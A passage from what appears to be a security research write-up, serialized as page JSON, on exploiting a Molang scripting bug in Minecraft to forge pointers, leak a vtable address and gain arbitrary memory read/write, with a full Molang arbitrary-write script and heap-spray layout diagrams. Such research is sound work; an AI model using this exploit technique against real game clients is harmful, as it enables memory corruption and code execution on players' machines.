variable.b;\n",[160984],{"type":24,"tag":135,"props":160985,"children":160986},{"__ignoreMap":7},[160987],{"type":29,"value":160982},{"type":24,"tag":25,"props":160989,"children":160990},{},[160991,160992,160998,161000,161006],{"type":29,"value":136620},{"type":24,"tag":135,"props":160993,"children":160995},{"className":160994},[],[160996],{"type":29,"value":160997},"variable.saved_upper_48",{"type":29,"value":160999}," holds the value ",{"type":24,"tag":135,"props":161001,"children":161003},{"className":161002},[],[161004],{"type":29,"value":161005},"0x1c80ddcc",{"type":29,"value":41},{"type":24,"tag":25,"props":161008,"children":161009},{},[161010],{"type":29,"value":161011},"To fix our earlier problem of being unable to increment invalid float values, we can simply clear the upper 48 bits:",{"type":24,"tag":261,"props":161013,"children":161015},{"code":161014},"variable.b = 0;\n",[161016],{"type":24,"tag":135,"props":161017,"children":161018},{"__ignoreMap":7},[161019],{"type":29,"value":161014},{"type":24,"tag":25,"props":161021,"children":161022},{},[161023],{"type":29,"value":161024},"Resulting in the following state:",{"type":24,"tag":261,"props":161026,"children":161028},{"code":161027}," +-------------+-------------+\n | a0 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[161029],{"type":24,"tag":135,"props":161030,"children":161031},{"__ignoreMap":7},[161032],{"type":29,"value":161027},{"type":24,"tag":25,"props":161034,"children":161035},{},[161036,161038,161043,161045,161051,161053,161058],{"type":29,"value":161037},"Now, the value of ",{"type":24,"tag":135,"props":161039,"children":161041},{"className":161040},[],[161042],{"type":29,"value":160144},{"type":29,"value":161044}," only spans 16 bits (",{"type":24,"tag":135,"props":161046,"children":161048},{"className":161047},[],[161049],{"type":29,"value":161050},"0xbba0",{"type":29,"value":161052}," specifically), which is always a valid float since it’s far below ",{"type":24,"tag":135,"props":161054,"children":161056},{"className":161055},[],[161057],{"type":29,"value":160642},{"type":29,"value":41},{"type":24,"tag":25,"props":161060,"children":161061},{},[161062,161064,161069],{"type":29,"value":161063},"We can now safely adjust the lower 16 bits of the pointer by incrementing ",{"type":24,"tag":135,"props":161065,"children":161067},{"className":161066},[],[161068],{"type":29,"value":160144},{"type":29,"value":12210},{"type":24,"tag":261,"props":161071,"children":161072},{"code":160826},[161073],{"type":24,"tag":135,"props":161074,"children":161075},{"__ignoreMap":7},[161076],{"type":29,"value":160826},{"type":24,"tag":25,"props":161078,"children":161079},{},[161080],{"type":29,"value":161081},"Which results in:",{"type":24,"tag":261,"props":161083,"children":161085},{"code":161084}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[161086],{"type":24,"tag":135,"props":161087,"children":161088},{"__ignoreMap":7},[161089],{"type":29,"value":161084},{"type":24,"tag":25,"props":161091,"children":161092},{},[161093],{"type":29,"value":161094},"If we only wanted to increment the pointer by 8, we could finish by restoring the upper 48 bits:",{"type":24,"tag":261,"props":161096,"children":161098},{"code":161097},"variable.b = variable.saved_upper_48;\n",[161099],{"type":24,"tag":135,"props":161100,"children":161101},{"__ignoreMap":7},[161102],{"type":29,"value":161097},{"type":24,"tag":25,"props":161104,"children":161105},{},[161106],{"type":29,"value":161107},"Yielding a valid pointer again:",{"type":24,"tag":261,"props":161109,"children":161111},{"code":161110}," +-------------+-------------+\n | a8 bb cc dd | 80 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[161112],{"type":24,"tag":135,"props":161113,"children":161114},{"__ignoreMap":7},[161115],{"type":29,"value":161110},{"type":24,"tag":25,"props":161117,"children":161118},{},[161119],{"type":29,"value":161120},"However, if we wanted to increment the pointer by a value larger than 16 bits can represent, we would continue by first saving the adjusted lower 16 bits:",{"type":24,"tag":261,"props":161122,"children":161124},{"code":161123},"variable.saved_adjusted_lower_16 = variable.a;\n",[161125],{"type":24,"tag":135,"props":161126,"children":161127},{"__ignoreMap":7},[161128],{"type":29,"value":161123},{"type":24,"tag":25,"props":161130,"children":161131},{},[161132],{"type":29,"value":161133},"Next, we need to extract the middle and upper 16 bits of the address. We start by restoring the previously saved upper 48 bits:",{"type":24,"tag":261,"props":161135,"children":161137},{"code":161136},"variable.a = variable.saved_upper_48;\n",[161138],{"type":24,"tag":135,"props":161139,"children":161140},{"__ignoreMap":7},[161141],{"type":29,"value":161136},{"type":24,"tag":25,"props":161143,"children":161144},{},[161145],{"type":29,"value":161146},"This produces the following state:",{"type":24,"tag":261,"props":161148,"children":161150},{"code":161149}," +-------------+-------------+\n | cc dd 80 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[161151],{"type":24,"tag":135,"props":161152,"children":161153},{"__ignoreMap":7},[161154],{"type":29,"value":161149},{"type":24,"tag":25,"props":161156,"children":161157},{},[161158,161160,161165,161167,161173,161175,161181,161183,161188,161190,161195],{"type":29,"value":161159},"As shown, ",{"type":24,"tag":135,"props":161161,"children":161163},{"className":161162},[],[161164],{"type":29,"value":160158},{"type":29,"value":161166}," now contains the upper 16 bits of the address (",{"type":24,"tag":135,"props":161168,"children":161170},{"className":161169},[],[161171],{"type":29,"value":161172},"0x1c80",{"type":29,"value":161174},"), which we can store as ",{"type":24,"tag":135,"props":161176,"children":161178},{"className":161177},[],[161179],{"type":29,"value":161180},"variable.saved_upper_16 = variable.b",{"type":29,"value":161182},". Meanwhile, ",{"type":24,"tag":135,"props":161184,"children":161186},{"className":161185},[],[161187],{"type":29,"value":160144},{"type":29,"value":161189}," contains both the middle and upper 16 bits. To isolate the middle bits, we simply clear ",{"type":24,"tag":135,"props":161191,"children":161193},{"className":161192},[],[161194],{"type":29,"value":160158},{"type":29,"value":12210},{"type":24,"tag":261,"props":161197,"children":161198},{"code":161014},[161199],{"type":24,"tag":135,"props":161200,"children":161201},{"__ignoreMap":7},[161202],{"type":29,"value":161014},{"type":24,"tag":25,"props":161204,"children":161205},{},[161206],{"type":29,"value":161207},"Leaving us with:",{"type":24,"tag":261,"props":161209,"children":161211},{"code":161210}," +-------------+-------------+\n | cc dd 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[161212],{"type":24,"tag":135,"props":161213,"children":161214},{"__ignoreMap":7},[161215],{"type":29,"value":161210},{"type":24,"tag":25,"props":161217,"children":161218},{},[161219],{"type":29,"value":161220},"We can now save the middle 16 bits:",{"type":24,"tag":261,"props":161222,"children":161224},{"code":161223},"variable.saved_middle_16 = variable.a;\n",[161225],{"type":24,"tag":135,"props":161226,"children":161227},{"__ignoreMap":7},[161228],{"type":29,"value":161223},{"type":24,"tag":25,"props":161230,"children":161231},{},[161232],{"type":29,"value":161233},"At this point, we have:",{"type":24,"tag":261,"props":161235,"children":161237},{"code":161236},"variable.saved_adjusted_lower_16 = 0xbba8\nvariable.saved_middle_16 = 0xddcc\nvariable.saved_upper_16 = 0x1c80\n",[161238],{"type":24,"tag":135,"props":161239,"children":161240},{"__ignoreMap":7},[161241],{"type":29,"value":161236},{"type":24,"tag":25,"props":161243,"children":161244},{},[161245],{"type":29,"value":161246},"All three parts are valid float values, ensuring deterministic calculations.",{"type":24,"tag":25,"props":161248,"children":161249},{},[161250],{"type":29,"value":161251},"If we needed to increment the pointer by more than the maximum 16-bit value, we would simply increment the middle and upper parts accordingly:",{"type":24,"tag":261,"props":161253,"children":161255},{"code":161254},"variable.saved_adjusted_middle_16 = variable.saved_middle_16 + itof(0x1);\nvariable.saved_adjusted_upper_16 = variable.saved_upper_16 + itof(0x1);\n",[161256],{"type":24,"tag":135,"props":161257,"children":161258},{"__ignoreMap":7},[161259],{"type":29,"value":161254},{"type":24,"tag":25,"props":161261,"children":161262},{},[161263],{"type":29,"value":161264},"After modifying the three 16-bit parts, we can reconstruct the full pointer by reversing the extraction process. We start by forging the upper 48 bits:",{"type":24,"tag":261,"props":161266,"children":161268},{"code":161267},"variable.a = variable.saved_adjusted_middle_16;\n",[161269],{"type":24,"tag":135,"props":161270,"children":161271},{"__ignoreMap":7},[161272],{"type":29,"value":161267},{"type":24,"tag":25,"props":161274,"children":161275},{},[161276,161278,161283,161284,161290,161291,161297],{"type":29,"value":161277},"Setting ",{"type":24,"tag":135,"props":161279,"children":161281},{"className":161280},[],[161282],{"type":29,"value":160144},{"type":29,"value":6428},{"type":24,"tag":135,"props":161285,"children":161287},{"className":161286},[],[161288],{"type":29,"value":161289},"0xddcd",{"type":29,"value":1357},{"type":24,"tag":135,"props":161292,"children":161294},{"className":161293},[],[161295],{"type":29,"value":161296},"0xddcc + 1",{"type":29,"value":161298},"), and then:",{"type":24,"tag":261,"props":161300,"children":161302},{"code":161301},"variable.b = variable.saved_adjusted_upper_16;\n",[161303],{"type":24,"tag":135,"props":161304,"children":161305},{"__ignoreMap":7},[161306],{"type":29,"value":161301},{"type":24,"tag":25,"props":161308,"children":161309},{},[161310,161312,161317,161319,161325,161326,161332],{"type":29,"value":161311},"Resulting in ",{"type":24,"tag":135,"props":161313,"children":161315},{"className":161314},[],[161316],{"type":29,"value":160158},{"type":29,"value":161318}," value becoming ",{"type":24,"tag":135,"props":161320,"children":161322},{"className":161321},[],[161323],{"type":29,"value":161324},"0x1c81",{"type":29,"value":1357},{"type":24,"tag":135,"props":161327,"children":161329},{"className":161328},[],[161330],{"type":29,"value":161331},"0x1c80 + 1",{"type":29,"value":31621},{"type":24,"tag":261,"props":161334,"children":161336},{"code":161335}," +-------------+-------------+\n | cd dd 81 1c | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[161337],{"type":24,"tag":135,"props":161338,"children":161339},{"__ignoreMap":7},[161340],{"type":29,"value":161335},{"type":24,"tag":25,"props":161342,"children":161343},{},[161344],{"type":29,"value":161345},"Now we save the adjusted upper 48 bits:",{"type":24,"tag":261,"props":161347,"children":161349},{"code":161348},"variable.saved_adjusted_upper_48 = variable.a;\n",[161350],{"type":24,"tag":135,"props":161351,"children":161352},{"__ignoreMap":7},[161353],{"type":29,"value":161348},{"type":24,"tag":25,"props":161355,"children":161356},{},[161357],{"type":29,"value":161358},"Finally, we attach the lower 16 bits:",{"type":24,"tag":261,"props":161360,"children":161362},{"code":161361},"variable.a = variable.saved_adjusted_lower_16;\n",[161363],{"type":24,"tag":135,"props":161364,"children":161365},{"__ignoreMap":7},[161366],{"type":29,"value":161361},{"type":24,"tag":261,"props":161368,"children":161370},{"code":161369}," +-------------+-------------+\n | a8 bb 00 00 | 00 00 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[161371],{"type":24,"tag":135,"props":161372,"children":161373},{"__ignoreMap":7},[161374],{"type":29,"value":161369},{"type":24,"tag":25,"props":161376,"children":161377},{},[161378],{"type":29,"value":161379},"And by setting:",{"type":24,"tag":261,"props":161381,"children":161383},{"code":161382},"variable.b = variable.saved_adjusted_upper_48;\n",[161384],{"type":24,"tag":135,"props":161385,"children":161386},{"__ignoreMap":7},[161387],{"type":29,"value":161382},{"type":24,"tag":25,"props":161389,"children":161390},{},[161391],{"type":29,"value":161392},"We forge the final adjusted pointer:",{"type":24,"tag":261,"props":161394,"children":161396},{"code":161395}," +-------------+-------------+\n | a8 bb cd dd | 81 1c 00 00 |\n +-------------+-------------+\n ^ ^ \n+-------------+ | | \n| variable.a +-----+ | \n+-------------+ | \n| variable.b +-----------+ \n+-------------+ \n| . . . | \n",[161397],{"type":24,"tag":135,"props":161398,"children":161399},{"__ignoreMap":7},[161400],{"type":29,"value":161395},{"type":24,"tag":26485,"props":161402,"children":161403},{},[],{"type":24,"tag":25,"props":161405,"children":161406},{},[161407,161409,161414],{"type":29,"value":161408},"With this, we now have a method to calculate any pointer we want. However, the previous question still remains: how do we find a pointer to ",{"type":24,"tag":135,"props":161410,"children":161412},{"className":161411},[],[161413],{"type":29,"value":160940},{"type":29,"value":160896},{"type":24,"tag":25,"props":161416,"children":161417},{},[161418,161420,161425,161427,161432,161434,161440,161442,161447],{"type":29,"value":161419},"Eventually, we realized that we don’t necessarily need a pointer to ",{"type":24,"tag":135,"props":161421,"children":161423},{"className":161422},[],[161424],{"type":29,"value":160940},{"type":29,"value":161426},". Instead, we need any two pointers on the heap - one pointing to ",{"type":24,"tag":135,"props":161428,"children":161430},{"className":161429},[],[161431],{"type":29,"value":8729},{"type":29,"value":161433}," and the other to ",{"type":24,"tag":135,"props":161435,"children":161437},{"className":161436},[],[161438],{"type":29,"value":161439},"addr + 2",{"type":29,"value":161441}," (as long as ",{"type":24,"tag":135,"props":161443,"children":161445},{"className":161444},[],[161446],{"type":29,"value":8729},{"type":29,"value":161448}," lies within a writable region). The idea is to use these two pointers as a workspace where we can split, manipulate, and reconstruct a pointer.",{"type":24,"tag":25,"props":161450,"children":161451},{},[161452,161454,161459,161460,161465],{"type":29,"value":161453},"In this case, we need to corrupt an index of an additional (third) variable and make it index the ",{"type":24,"tag":135,"props":161455,"children":161457},{"className":161456},[],[161458],{"type":29,"value":156914},{"type":29,"value":160699},{"type":24,"tag":135,"props":161461,"children":161463},{"className":161462},[],[161464],{"type":29,"value":159718},{"type":29,"value":161466}," - once the new pointer is forged we can use this variable to assign it the forged pointer:",{"type":24,"tag":261,"props":161468,"children":161470},{"code":161469},"variable.corrupted_var_map_ptr = variable.a;\n",[161471],{"type":24,"tag":135,"props":161472,"children":161473},{"__ignoreMap":7},[161474],{"type":29,"value":161469},{"type":24,"tag":25,"props":161476,"children":161477},{},[161478,161480,161485,161487,161493],{"type":29,"value":161479},"As mentioned earlier, this operation copies the entire 64-bit ",{"type":24,"tag":135,"props":161481,"children":161483},{"className":161482},[],[161484],{"type":29,"value":46820},{"type":29,"value":161486}," field (in this case, the reconstructed pointer) and writes it to ",{"type":24,"tag":135,"props":161488,"children":161490},{"className":161489},[],[161491],{"type":29,"value":161492},"variable.corrupted_var_map_ptr",{"type":29,"value":161494},", even though the type itself is only a 32-bit float.",{"type":24,"tag":26585,"props":161496,"children":161498},{"id":161497},"finding-misaligned-pointers",[161499],{"type":29,"value":161500},"Finding Misaligned Pointers",{"type":24,"tag":25,"props":161502,"children":161503},{},[161504,161506,161511,161512,161518],{"type":29,"value":161505},"This step requires a heap-sprayable structure that contains two pointers separated by two bytes (",{"type":24,"tag":135,"props":161507,"children":161509},{"className":161508},[],[161510],{"type":29,"value":21648},{"type":29,"value":518},{"type":24,"tag":135,"props":161513,"children":161515},{"className":161514},[],[161516],{"type":29,"value":161517},"ptr + 2",{"type":29,"value":161519},"). Fortunately, we didn’t have to look far as we were already familiar with a suitable structure.",{"type":24,"tag":25,"props":161521,"children":161522},{},[161523,161528,161529,161534,161536,161541,161543,161548,161550,161555,161557,161562,161564,161570,161571,161576],{"type":24,"tag":135,"props":161524,"children":161526},{"className":161525},[],[161527],{"type":29,"value":159894},{"type":29,"value":23141},{"type":24,"tag":135,"props":161530,"children":161532},{"className":161531},[],[161533],{"type":29,"value":159917},{"type":29,"value":161535}," found inside every entity object. As noted earlier, a ",{"type":24,"tag":135,"props":161537,"children":161539},{"className":161538},[],[161540],{"type":29,"value":159748},{"type":29,"value":161542}," contains three pointers: ",{"type":24,"tag":135,"props":161544,"children":161546},{"className":161545},[],[161547],{"type":29,"value":156914},{"type":29,"value":161549}," (the start of the allocated buffer), ",{"type":24,"tag":135,"props":161551,"children":161553},{"className":161552},[],[161554],{"type":29,"value":8335},{"type":29,"value":161556}," (just past the last element) and ",{"type":24,"tag":135,"props":161558,"children":161560},{"className":161559},[],[161561],{"type":29,"value":159847},{"type":29,"value":161563}," (the end of the allocated buffer). Because the element type is ",{"type":24,"tag":135,"props":161565,"children":161567},{"className":161566},[],[161568],{"type":29,"value":161569},"uint16_t",{"type":29,"value":109087},{"type":24,"tag":135,"props":161572,"children":161574},{"className":161573},[],[161575],{"type":29,"value":8335},{"type":29,"value":161577}," pointer advances by 2 bytes each time a new element is added.",{"type":24,"tag":25,"props":161579,"children":161580},{},[161581,161583,161588,161590,161596],{"type":29,"value":161582},"We can make the ",{"type":24,"tag":135,"props":161584,"children":161586},{"className":161585},[],[161587],{"type":29,"value":8335},{"type":29,"value":161589}," pointer equal to ",{"type":24,"tag":135,"props":161591,"children":161593},{"className":161592},[],[161594],{"type":29,"value":161595},"cap - 2",{"type":29,"value":161597}," by adding elements until the vector is one element short of full. In practice this is done by filling the entity with previously unseen variables.",{"type":24,"tag":261,"props":161599,"children":161601},{"code":161600}," +-> +---------------+\n | | |\n | | . . . |\n | | |\n | +-------+-------+\n | | 00 f0 | 00 f1 |\n | +-------+-------+\n | | 00 f2 | 00 f3 |\n | +-------+-------+\n std::vector\u003Cuint16_t> | | 00 f4 | 00 f5 |\n MolangIndexMap | +-------+-------+\n +----------------+ | | 00 f6 | 00 00 |\nbuf | 0x1c54f7a13200 | --+ +-------+-------+\n +----------------+ ^ ^\nlen | 0x1c54f7a13306 | --------------+ |\n +----------------+ |\ncap | 0x1c54f7a13308 | ----------------------+\n +----------------+ \n",[161602],{"type":24,"tag":135,"props":161603,"children":161604},{"__ignoreMap":7},[161605],{"type":29,"value":161600},{"type":24,"tag":26485,"props":161607,"children":161608},{},[],{"type":24,"tag":25,"props":161610,"children":161611},{},[161612,161614,161619,161621,161626,161628,161633,161635,161640,161641,161646],{"type":29,"value":161613},"To summarize - the final setup will require overwriting indices of three variables: one that would index the ",{"type":24,"tag":135,"props":161615,"children":161617},{"className":161616},[],[161618],{"type":29,"value":156914},{"type":29,"value":161620}," pointer of ",{"type":24,"tag":135,"props":161622,"children":161624},{"className":161623},[],[161625],{"type":29,"value":159718},{"type":29,"value":161627}," in the entity object above, one that would index ",{"type":24,"tag":135,"props":161629,"children":161631},{"className":161630},[],[161632],{"type":29,"value":8335},{"type":29,"value":161634}," and the final ",{"type":24,"tag":135,"props":161636,"children":161638},{"className":161637},[],[161639],{"type":29,"value":159847},{"type":29,"value":161620},{"type":24,"tag":135,"props":161642,"children":161644},{"className":161643},[],[161645],{"type":29,"value":159894},{"type":29,"value":161647}," also in the same entity object above.",{"type":24,"tag":25,"props":161649,"children":161650},{},[161651,161653,161659,161660,161666,161668,161673,161674,161679,161681,161686,161688,161693,161694,161699,161701,161706],{"type":29,"value":161652},"The corrupted variables ",{"type":24,"tag":135,"props":161654,"children":161656},{"className":161655},[],[161657],{"type":29,"value":161658},"variable.corrupted_len_ptr",{"type":29,"value":518},{"type":24,"tag":135,"props":161661,"children":161663},{"className":161662},[],[161664],{"type":29,"value":161665},"variable.corrupted_cap_ptr",{"type":29,"value":161667}," point to ",{"type":24,"tag":135,"props":161669,"children":161671},{"className":161670},[],[161672],{"type":29,"value":8335},{"type":29,"value":518},{"type":24,"tag":135,"props":161675,"children":161677},{"className":161676},[],[161678],{"type":29,"value":159847},{"type":29,"value":161680},", respectively - they are two bytes apart. With these two we can compute arbitrary pointers using the method previously described. The third corrupted variable, ",{"type":24,"tag":135,"props":161682,"children":161684},{"className":161683},[],[161685],{"type":29,"value":161492},{"type":29,"value":161687},", points to the ",{"type":24,"tag":135,"props":161689,"children":161691},{"className":161690},[],[161692],{"type":29,"value":156914},{"type":29,"value":160699},{"type":24,"tag":135,"props":161695,"children":161697},{"className":161696},[],[161698],{"type":29,"value":159718},{"type":29,"value":161700},"; it is used to copy the calculated pointer into the allocated buffer of ",{"type":24,"tag":135,"props":161702,"children":161704},{"className":161703},[],[161705],{"type":29,"value":159718},{"type":29,"value":161707},", which in turn lets us overwrite a pointer of a different (fourth) variable. That fourth corrupted variable is what we ultimately use for arbitrary read/write.",{"type":24,"tag":25,"props":161709,"children":161710},{},[161711],{"type":29,"value":161712},"Before we can do any arbitrary memory operations, however, we need a leak - ideally the address of any Minecraft executable region - that lets us perform arbitrary reads and writes into the target memory region.",{"type":24,"tag":26585,"props":161714,"children":161716},{"id":161715},"leaking-pointers",[161717],{"type":29,"value":161718},"Leaking Pointers",{"type":24,"tag":25,"props":161720,"children":161721},{},[161722,161724,161730],{"type":29,"value":161723},"In C++, an object’s first field is typically a ",{"type":24,"tag":135,"props":161725,"children":161727},{"className":161726},[],[161728],{"type":29,"value":161729},"vtable",{"type":29,"value":161731}," pointer - a pointer into a read-only region of the executable in memory. That means the first field of the entity object contains an address inside the Minecraft executable, and we want to recover that value from our Molang script.",{"type":24,"tag":261,"props":161733,"children":161735},{"code":161734}," Entity Object \n \n +------------+------------+\n | vtable ptr | |\n +------------+ |\n | |\n | |\n | |\n | |\n | |\n | |\n +-> +------------+------------+\n | | buf | len |\n MolangIndexMap -+ +------------+------------+\n | | cap | |\n +--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[161736],{"type":24,"tag":135,"props":161737,"children":161738},{"__ignoreMap":7},[161739],{"type":29,"value":161734},{"type":24,"tag":25,"props":161741,"children":161742},{},[161743,161744,161749,161751,161756,161758,161763,161765,161770,161772,161777,161778,161783,161785,161790],{"type":29,"value":1422},{"type":24,"tag":135,"props":161745,"children":161747},{"className":161746},[],[161748],{"type":29,"value":46820},{"type":29,"value":161750}," field inside a ",{"type":24,"tag":135,"props":161752,"children":161754},{"className":161753},[],[161755],{"type":29,"value":159391},{"type":29,"value":161757}," is at offset ",{"type":24,"tag":135,"props":161759,"children":161761},{"className":161760},[],[161762],{"type":29,"value":159652},{"type":29,"value":161764},". We already control a corrupted variable, ",{"type":24,"tag":135,"props":161766,"children":161768},{"className":161767},[],[161769],{"type":29,"value":161658},{"type":29,"value":161771},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":24,"tag":135,"props":161773,"children":161775},{"className":161774},[],[161776],{"type":29,"value":8335},{"type":29,"value":160699},{"type":24,"tag":135,"props":161779,"children":161781},{"className":161780},[],[161782],{"type":29,"value":159894},{"type":29,"value":161784}," by 2 bytes, which in turn advances ",{"type":24,"tag":135,"props":161786,"children":161788},{"className":161787},[],[161789],{"type":29,"value":161658},{"type":29,"value":161791}," by 2 bytes.",{"type":24,"tag":25,"props":161793,"children":161794},{},[161795,161797,161802,161804,161810,161811,161816,161817,161822,161824,161829],{"type":29,"value":161796},"By moving ",{"type":24,"tag":135,"props":161798,"children":161800},{"className":161799},[],[161801],{"type":29,"value":8335},{"type":29,"value":161803}," so it equals ",{"type":24,"tag":135,"props":161805,"children":161807},{"className":161806},[],[161808],{"type":29,"value":161809},"cap - 0x38",{"type":29,"value":109087},{"type":24,"tag":135,"props":161812,"children":161814},{"className":161813},[],[161815],{"type":29,"value":46820},{"type":29,"value":160699},{"type":24,"tag":135,"props":161818,"children":161820},{"className":161819},[],[161821],{"type":29,"value":161658},{"type":29,"value":161823}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":24,"tag":135,"props":161825,"children":161827},{"className":161826},[],[161828],{"type":29,"value":161729},{"type":29,"value":161830}," pointer. We can then capture that pointer with:",{"type":24,"tag":261,"props":161832,"children":161834},{"code":161833},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[161835],{"type":24,"tag":135,"props":161836,"children":161837},{"__ignoreMap":7},[161838],{"type":29,"value":161833},{"type":24,"tag":25,"props":161840,"children":161841},{},[161842,161844,161849,161851,161856,161858,161863,161865,161871],{"type":29,"value":161843},"After saving the leak, we add 27 unseen variables to advance ",{"type":24,"tag":135,"props":161845,"children":161847},{"className":161846},[],[161848],{"type":29,"value":8335},{"type":29,"value":161850}," until it equals ",{"type":24,"tag":135,"props":161852,"children":161854},{"className":161853},[],[161855],{"type":29,"value":161595},{"type":29,"value":161857},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":24,"tag":135,"props":161859,"children":161861},{"className":161860},[],[161862],{"type":29,"value":161729},{"type":29,"value":161864}," address in ",{"type":24,"tag":135,"props":161866,"children":161868},{"className":161867},[],[161869],{"type":29,"value":161870},"variable.saved_vtable_pointer",{"type":29,"value":41},{"type":24,"tag":26485,"props":161873,"children":161874},{},[],{"type":24,"tag":25,"props":161876,"children":161877},{},[161878,161880,161885,161887,161893],{"type":29,"value":161879},"A Molang script that performs an arbitrary write of the value ",{"type":24,"tag":135,"props":161881,"children":161883},{"className":161882},[],[161884],{"type":29,"value":4059},{"type":29,"value":161886}," to the address ",{"type":24,"tag":135,"props":161888,"children":161890},{"className":161889},[],[161891],{"type":29,"value":161892},"vtable + 0x1000",{"type":29,"value":161894}," looks like this:",{"type":24,"tag":261,"props":161896,"children":161898},{"code":161897},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[161899],{"type":24,"tag":135,"props":161900,"children":161901},{"__ignoreMap":7},[161902],{"type":29,"value":161897},{"type":24,"tag":26585,"props":161904,"children":161906},{"id":161905},"required-heap-layout",[161907],{"type":29,"value":161908},"Required Heap Layout",{"type":24,"tag":25,"props":161910,"children":161911},{},[161912],{"type":29,"value":161913},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":24,"tag":261,"props":161915,"children":161917},{"code":161916}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[161918],{"type":24,"tag":135,"props":161919,"children":161920},{"__ignoreMap":7},[161921],{"type":29,"value":161916},{"type":24,"tag":25,"props":161923,"children":161924},{},[161925,161927,161933,161935,161940,161942,161947,161949,161954,161955,161960],{"type":29,"value":161926},"The first region (",{"type":24,"tag":135,"props":161928,"children":161930},{"className":161929},[],[161931],{"type":29,"value":161932},"Heap Region 1",{"type":29,"value":161934},") contains alternating ",{"type":24,"tag":135,"props":161936,"children":161938},{"className":161937},[],[161939],{"type":29,"value":159718},{"type":29,"value":161941},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":24,"tag":135,"props":161943,"children":161945},{"className":161944},[],[161946],{"type":29,"value":159748},{"type":29,"value":161948}," pointers of ",{"type":24,"tag":135,"props":161950,"children":161952},{"className":161951},[],[161953],{"type":29,"value":159718},{"type":29,"value":518},{"type":24,"tag":135,"props":161956,"children":161958},{"className":161957},[],[161959],{"type":29,"value":159894},{"type":29,"value":161961}," from the entity object for our main attack.",{"type":24,"tag":25,"props":161963,"children":161964},{},[161965,161967,161973,161975,161980,161982,161987,161989,161994,161996,162001],{"type":29,"value":161966},"The second region (",{"type":24,"tag":135,"props":161968,"children":161970},{"className":161969},[],[161971],{"type":29,"value":161972},"Heap Region 2",{"type":29,"value":161974},") contains interleaved ",{"type":24,"tag":135,"props":161976,"children":161978},{"className":161977},[],[161979],{"type":29,"value":159894},{"type":29,"value":161981},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":24,"tag":135,"props":161983,"children":161985},{"className":161984},[],[161986],{"type":29,"value":161729},{"type":29,"value":161988}," pointer into ",{"type":24,"tag":135,"props":161990,"children":161992},{"className":161991},[],[161993],{"type":29,"value":161658},{"type":29,"value":161995}," during our main attack. It could be any object with a ",{"type":24,"tag":135,"props":161997,"children":161999},{"className":161998},[],[162000],{"type":29,"value":161729},{"type":29,"value":162002},", but for simplicity we use the entity object.",{"type":24,"tag":25,"props":162004,"children":162005},{},[162006,162008,162014,162016,162021],{"type":29,"value":162007},"During the attack, overwriting another variable's pointer 